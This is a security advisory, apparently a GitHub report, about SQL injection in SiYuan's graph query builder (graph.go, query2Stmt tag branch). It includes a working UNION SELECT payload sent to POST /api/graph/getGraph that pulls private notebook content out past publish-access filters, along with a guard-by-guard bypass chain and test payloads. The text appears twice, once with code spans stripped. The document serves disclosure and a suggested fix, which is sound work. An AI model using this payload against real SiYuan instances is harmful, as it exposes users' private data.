Summary
kernel/model/graph.go query2Stmt builds SQL for the graph/global-graph feature. The tag branch concatenates lute-parsed tag text raw into two SQL string literals (lines 708 and 715) with no '→'' escaping, while the sibling keyword branch escapes correctly at line 694. A publish-mode RoleReader (or an anonymous visitor when Publish.Auth.Enable=false) reaches this via POST /api/graph/getGraph, and the injected SQL executes on the read-write siyuan.db handle with no single-statement/read-only validation, enabling cross-notebook private-data exfiltration past the publish-access boundary.
Root Cause
query2Stmt collects tags via n.IsTextMarkType("tag"). For matched tags, lines 708/715 do:
buf.WriteString("(content LIKE '%#" + tag + "#%')") // line 708 — RAW, no escape
...
buf.WriteString("ial LIKE '%tags="%" + tag + "%"%'") // line 715 — RAW, no escape
The keyword branch at line 694 does part = strings.ReplaceAll(part, "'", "''") — the tag branch omits this. A tag value containing a single quote breaks out of the string literal.
Correct trigger vector (important): The tag must be supplied as inline HTML <span data-type="tag">…</span>, NOT the #tag# shorthand. parse.Inline turns #tag# into a NodeTag for which IsTextMarkType("tag") returns false (so #tag# payloads route through the escaped keyword branch and are harmless — this is dead code). <span data-type="tag">…</span> is parsed into a real tag-typed NodeTextMark, populating tags[] and reaching the unescaped lines 708/715. Empirically reproduced against the pinned kernel lute (github.com/88250/lute v1.7.8-0.20260827055215-8928f1866da3).
Impact
Confidentiality: a UNION SELECT injected via the span payload executes in sql.DefRefs (block_ref_query.go) and sql.GetAllChildBlocks (block_query.go) on the read-write main DB, reading any blocks/refs row across all (non-encrypted) notebooks. GetAllChildBlocks results become graph nodes (genTreeNodes sets node.Box/node.Path/node.Title/node.Label from row columns). By projecting an allowed (published) box+path while placing secret data in the content columns, the injected row survives FilterGraphByPublishAccess (a post-sink OUTPUT filter that trusts the projected box/path) and the private content is returned to the reader in Title/Label. A publish reader/anonymous visitor thus exfiltrates cross-notebook private data.
Proof of Concept
1. Reach a published SiYuan kernel (default publish port 6808).
2. Proxy issues a RoleReader JWT (anonymous "" account if Publish.Auth.Enable=false).
3. POST /api/graph/getGraph
{"k":"<span data-type=\"tag\">z') UNION SELECT id,parent_id,root_id,hash,
box,path,hpath,name,alias,memo,tag,markdown,fcontent,markdown,length,
type,subtype,ial,sort,created,updated FROM blocks
WHERE root_id='<PRIVATE_DOC_ID>'-- </span>", "conf":{}}
4. CheckAuth admits RoleReader; getGraph calls BuildGraph("k") unconditionally.
5. query2Stmt hits tag branch 708/715 -> raw quote -> string-literal breakout.
6. DefRefs/GetAllChildBlocks run the UNION on the read-write handle (no stmt guard).
7. Project box/path of a PUBLISHED doc; put private content in name/markdown col.
8. FilterGraphByPublishAccess passes the row (allowed box/path) -> node survives.
9. Response nodes[].title / .label carry the private blocks' content.
Attack Chain
- Entry: publish
RoleReader (or anonymous visitor if Publish.Auth.Enable=false) sends POST /api/graph/getGraph, body {"k":"<span data-type=\"tag\">z') UNION SELECT … FROM blocks WHERE root_id='<private>'-- </span>","conf":{}}.
- Guard:
CheckAuth. Bypass proof: api/router.go:490 registers getGraph with only model.CheckAuth — no CheckAdminRole/CheckReadonly; CheckAuth (session.go) admits RoleReader; publish JWT issues role: RoleReader (auth.go:262). resetGraph/resetLocalGraph at 487–488 carry the extra guards; getGraph does not.
- Processing:
getGraph→BuildGraph(query) runs for all roles. Guard: IsReadOnlyRoleContext. Bypass proof: that check only gates Conf.Save and the output filter; BuildGraph is called unconditionally (api/graph.go).
- Injection:
query2Stmt extracts the tag via IsTextMarkType("tag") (fires for the <span data-type="tag"> textmark) and concatenates it unescaped at graph.go:708/715. Guard: '→'' escape at line 694. Bypass proof: line 694 is in the keyword branch; the tag branch (708/715) has no ReplaceAll("'","''") — empirically the output SQL contains a bare ').
- Sink:
stmt executes via raw query() in sql.DefRefs (block_ref_query.go) and sql.GetAllChildBlocks (block_query.go). Guard: single-statement/read-only validation. Bypass proof: neither the model path nor query() (database.go:1472 → db.Query) calls CheckSingleStatement/CheckReadonlyStatement; DB handle opened read-write (no mode=ro/_query_only). SQLite-verified execution.
- Impact: reader/anonymous exfiltrates arbitrary
blocks/refs/attributes rows across notebooks; the output-only FilterGraphByPublishAccess is bypassed by projecting an allowed box/path.
Bypass Evidence
Standalone harness against the exact pinned kernel lute reproducing query2Stmt (parse.Inline + ast.Walk(IsTextMarkType("tag")) + SQL build) with util.NewLute() options:
| Input |
tag branch reached? |
Quote handling |
#hello# |
false |
dead code (routes to escaped keyword branch) |
#a' OR '1'='1# |
false |
quotes doubled ('') — harmless |
<span data-type="tag">hello</span> |
true |
populates tags[] |
<span data-type="tag">z') UNION SELECT null-- </span> |
true |
single quote passes UNESCAPED; output contains (content LIKE '%#z') UNION SELECT null-- #%') |
Against real SQLite the resulting DefRefs statement executes the attacker UNION and returns rows a publish reader must not see (cross-notebook content). Confirms the <span data-type="tag"> vector reaches the unescaped sink and the #tag# shorthand does not.
Affected Versions
<= 3.8.2 (latest release == HEAD). Vulnerable code present on the latest tag; git log -S "query2Stmt" -- kernel/model/graph.go shows no fix ever applied to this function.
Suggested Fix
Escape the tag like the keyword branch — tag = strings.ReplaceAll(tag, "'", "''") (plus LIKE-pattern escaping) before graph.go:708/715 — or parameterize. Additionally gate the raw graph query() sinks behind CheckSingleStatement+CheckReadonlyStatement.
Notes
- Distinct sink from GHSA-336w-67gx-gx2h (
search.go fullTextSearchByFTSInBox) and GHSA-q2vg-7qgx-x5fc / CVE-2026-72811 (backlink.go). The q2vg advisory's scoping note explicitly declared graph.go safe (true for the keyword branch, but it missed the tag branch) — this is a genuinely un-surveyed, unpatched sink, not a duplicate or fix bypass.
- Encrypted notebooks out of scope; no
load_extension in default build (no direct RCE).
Reported by zx (Jace) — GitHub: @manus-use
Summary
kernel/model/graph.goquery2Stmtbuilds SQL for the graph/global-graph feature. The tag branch concatenates lute-parsed tag text raw into two SQL string literals (lines 708 and 715) with no'→''escaping, while the sibling keyword branch escapes correctly at line 694. A publish-modeRoleReader(or an anonymous visitor whenPublish.Auth.Enable=false) reaches this viaPOST /api/graph/getGraph, and the injected SQL executes on the read-writesiyuan.dbhandle with no single-statement/read-only validation, enabling cross-notebook private-data exfiltration past the publish-access boundary.Root Cause
query2Stmtcollects tags vian.IsTextMarkType("tag"). For matched tags, lines 708/715 do:The keyword branch at line 694 does
part = strings.ReplaceAll(part, "'", "''")— the tag branch omits this. A tag value containing a single quote breaks out of the string literal.Correct trigger vector (important): The tag must be supplied as inline HTML
<span data-type="tag">…</span>, NOT the#tag#shorthand.parse.Inlineturns#tag#into aNodeTagfor whichIsTextMarkType("tag")returns false (so#tag#payloads route through the escaped keyword branch and are harmless — this is dead code).<span data-type="tag">…</span>is parsed into a real tag-typedNodeTextMark, populatingtags[]and reaching the unescaped lines 708/715. Empirically reproduced against the pinned kernel lute (github.com/88250/lute v1.7.8-0.20260827055215-8928f1866da3).Impact
Confidentiality: a
UNION SELECTinjected via the span payload executes insql.DefRefs(block_ref_query.go) andsql.GetAllChildBlocks(block_query.go) on the read-write main DB, reading anyblocks/refsrow across all (non-encrypted) notebooks.GetAllChildBlocksresults become graph nodes (genTreeNodessetsnode.Box/node.Path/node.Title/node.Labelfrom row columns). By projecting an allowed (published)box+pathwhile placing secret data in the content columns, the injected row survivesFilterGraphByPublishAccess(a post-sink OUTPUT filter that trusts the projected box/path) and the private content is returned to the reader inTitle/Label. A publish reader/anonymous visitor thus exfiltrates cross-notebook private data.Proof of Concept
Attack Chain
RoleReader(or anonymous visitor ifPublish.Auth.Enable=false) sendsPOST /api/graph/getGraph, body{"k":"<span data-type=\"tag\">z') UNION SELECT … FROM blocks WHERE root_id='<private>'-- </span>","conf":{}}.CheckAuth. Bypass proof:api/router.go:490registersgetGraphwith onlymodel.CheckAuth— noCheckAdminRole/CheckReadonly;CheckAuth(session.go) admitsRoleReader; publish JWT issuesrole: RoleReader(auth.go:262).resetGraph/resetLocalGraphat 487–488 carry the extra guards;getGraphdoes not.getGraph→BuildGraph(query)runs for all roles. Guard:IsReadOnlyRoleContext. Bypass proof: that check only gatesConf.Saveand the output filter;BuildGraphis called unconditionally (api/graph.go).query2Stmtextracts the tag viaIsTextMarkType("tag")(fires for the<span data-type="tag">textmark) and concatenates it unescaped at graph.go:708/715. Guard:'→''escape at line 694. Bypass proof: line 694 is in the keyword branch; the tag branch (708/715) has noReplaceAll("'","''")— empirically the output SQL contains a bare').stmtexecutes via rawquery()insql.DefRefs(block_ref_query.go) andsql.GetAllChildBlocks(block_query.go). Guard: single-statement/read-only validation. Bypass proof: neither the model path norquery()(database.go:1472 →db.Query) callsCheckSingleStatement/CheckReadonlyStatement; DB handle opened read-write (nomode=ro/_query_only). SQLite-verified execution.blocks/refs/attributesrows across notebooks; the output-onlyFilterGraphByPublishAccessis bypassed by projecting an allowed box/path.Bypass Evidence
Standalone harness against the exact pinned kernel lute reproducing
query2Stmt(parse.Inline+ast.Walk(IsTextMarkType("tag"))+ SQL build) withutil.NewLute()options:#hello##a' OR '1'='1#'') — harmless<span data-type="tag">hello</span>tags[]<span data-type="tag">z') UNION SELECT null-- </span>(content LIKE '%#z') UNION SELECT null-- #%')Against real SQLite the resulting
DefRefsstatement executes the attackerUNIONand returns rows a publish reader must not see (cross-notebook content). Confirms the<span data-type="tag">vector reaches the unescaped sink and the#tag#shorthand does not.Affected Versions
<= 3.8.2(latest release == HEAD). Vulnerable code present on the latest tag;git log -S "query2Stmt" -- kernel/model/graph.goshows no fix ever applied to this function.Suggested Fix
Escape the tag like the keyword branch —
tag = strings.ReplaceAll(tag, "'", "''")(plusLIKE-pattern escaping) before graph.go:708/715 — or parameterize. Additionally gate the raw graphquery()sinks behindCheckSingleStatement+CheckReadonlyStatement.Notes
search.go fullTextSearchByFTSInBox) and GHSA-q2vg-7qgx-x5fc / CVE-2026-72811 (backlink.go). The q2vg advisory's scoping note explicitly declared graph.go safe (true for the keyword branch, but it missed the tag branch) — this is a genuinely un-surveyed, unpatched sink, not a duplicate or fix bypass.load_extensionin default build (no direct RCE).Reported by zx (Jace) — GitHub: @manus-use